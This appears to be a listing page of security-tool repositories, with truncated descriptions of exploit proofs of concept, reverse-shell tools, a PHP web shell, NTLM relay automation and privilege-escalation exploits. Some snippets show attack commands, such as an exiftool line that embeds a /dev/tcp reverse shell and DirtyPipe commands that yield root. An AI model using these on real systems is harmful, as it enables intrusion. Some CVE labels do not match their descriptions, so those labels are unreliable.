EXP_CVE-2018-19518

CVE-2018-19518 Disclaimer This program should only be used for authorized security testing and research. Please use it in compliance with network security laws. The author is not responsible for any illegal attacks or other unlawful actions resulting from the use of this tool. Usage python...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE Exploit Tool CVE-2023-41425 This Python-based offensive security tool automates the exploitation of a Remote Code Execution RCE vulnerability in WonderCMS 4.3.2 , specifically CVE-2023-41425. It streamlines the process of crafting a malicious ZIP theme module and delivering a...

bash-4.3-fixed-CVE-2014-6271

Introduction This is GNU Bash, version 4.3. Bash is the GNU Project's Bourne Again SHell, a complete implementation of the POSIX shell spec, but also with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace...

CVE-2016-10033

CVE2016-10033 explotation PoC This repository holds the necessary files to exploit CVE2016-10033 on a vulnerable version of WordPress. With these instructions you will be able to get a reverse interactive shell not Pseudo-TTY in the container that is running the WordPress as the user that is...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

JShell

JShell JShell - Obtén una shell JavaScript con XSS. Usos Ejecuta shell.py y JShell intentará automáticamente detectar tu dirección IP, el puerto LPORT por defecto es 33. Como puedes ver, el payload ha sido generado y ahora todo lo que tienes que hacer es entregar este payload a la víctima. Tan...

CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

CVE-2018-12613

CVE-2018-12613 Modified standalone exploit ported to Python 3. Tested on Python 3.7.3, phpMyAdmin 4.8.1 running on Ubuntu 16.04 Works on Linux only. Original exploit by SSD. All credits to them. Changes made 1. Added function to exit if provided phpMyAdmin username/password is correct 2. Added...

siemframework

SIEMS FRAMEWORK Framework de ataque modular MultiSIEM en Python3 Por ElevenPaths https://www.elevenpaths.com/ Uso: python3 ./siemsframework.py INTRODUCCIÓN Los SIEM son herramientas defensivas cada vez más utilizadas en el ámbito de la ciberseguridad, especialmente por grandes empresas y compañía...

CVE-2025-3243

CVE-2025-32433 Erlang SSH Library Exploit A proof-of-concept exploit for CVE-2025-32433 , a critical vulnerability in Erlang's SSH library that allows pre-authenticated code execution via malformed SSHMSGCHANNELREQUEST packets. Features Original exploit by Matthew Keeley Updated version by Tyler...

CVE_2022_0847

CVE20220847 CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability POC A Simple Proof of concept to get root shell. $ gcc cve20220847.c -o exploit $ ./exploit /etc/passwd 1 ootz: $ su rootz id uid=0root gid=0root groups=0root...

ntlm_relay_gat

NTLM Relay Gat Description NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities,...

ntlm_relay_gat

NTLM Relay Gat Descripción NTLM Relay Gat es una herramienta potente diseñada para automatizar la explotación de retransmisiones NTLM utilizando ntlmrelayx.py del conjunto de herramientas Impacket. Al aprovechar las capacidades de ntlmrelayx.py, NTLM Relay Gat simplifica el proceso de explotación...

rwsploit

Oracle Reports rwservlet Scanner ⚠️ For authorized use only. Only run this tool against systems you own or have explicit written permission to test. Unauthorized use is illegal. A focused exploitation scanner for Oracle Reports Server rwservlet targeting CVE-2012-3152 and CVE-2012-3153 — affecting...

CVE-2020-5844

CVE-2020-5844 Authenticated RCE in PandoraFMS 7.0-NG 742 Admin privileged attackers can upload malicious PHP documents. By decoding the base64 file location users can gain a shell as apache user. Discovered by TheCyberGeek PoC python script Usage: python3 CVE-2020-5844.py URL USER PASS...

CVE-2018-17246

CVE-2018-17246 - Kibana LFI There is no input validation so we can change the name of the JavaScript file to anything we want. In this case, with the path traversal technique, we can choose any file on the Kibana server. One thing to be aware of, however, is node's module caching feature...

DirtyPipePython

dirty.py Description This is an exploit for the Linux kernel vulnerability CVE-2022-0847 DirtyPipe discovered by Max Kellerman. This code combines two existing DirtyPipe POC's into one: febinrev Overwrites sudo binary to directly pop a root shell eremus-dev A direct copy of Kellerman's POC into...

b374k

b374k shell 3.2 Este PHP Shell es una herramienta útil para administradores de sistemas o web para realizar gestión remota sin usar cpanel, conectarse mediante ssh, ftp, etc. Todas las acciones se realizan dentro de un navegador web. Características: Gestor de archivos ver, editar, renombrar,...

CVE-2023-26067

CVE-2023-34362 POCs for credential dumping, reverse shells, and playing music by abusing a command injection, CVE-2023-26067, affecting Lexmark Printers. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog:...

porterminal

Give your agent any computer One command. One URL. A real terminal for your agent, a live view for you. Run Porterminal on a Windows, macOS, or Linux computer and give the generated link to your AI agent. It gets a real shell with the files, tools, and projects on that machine. Open the same link...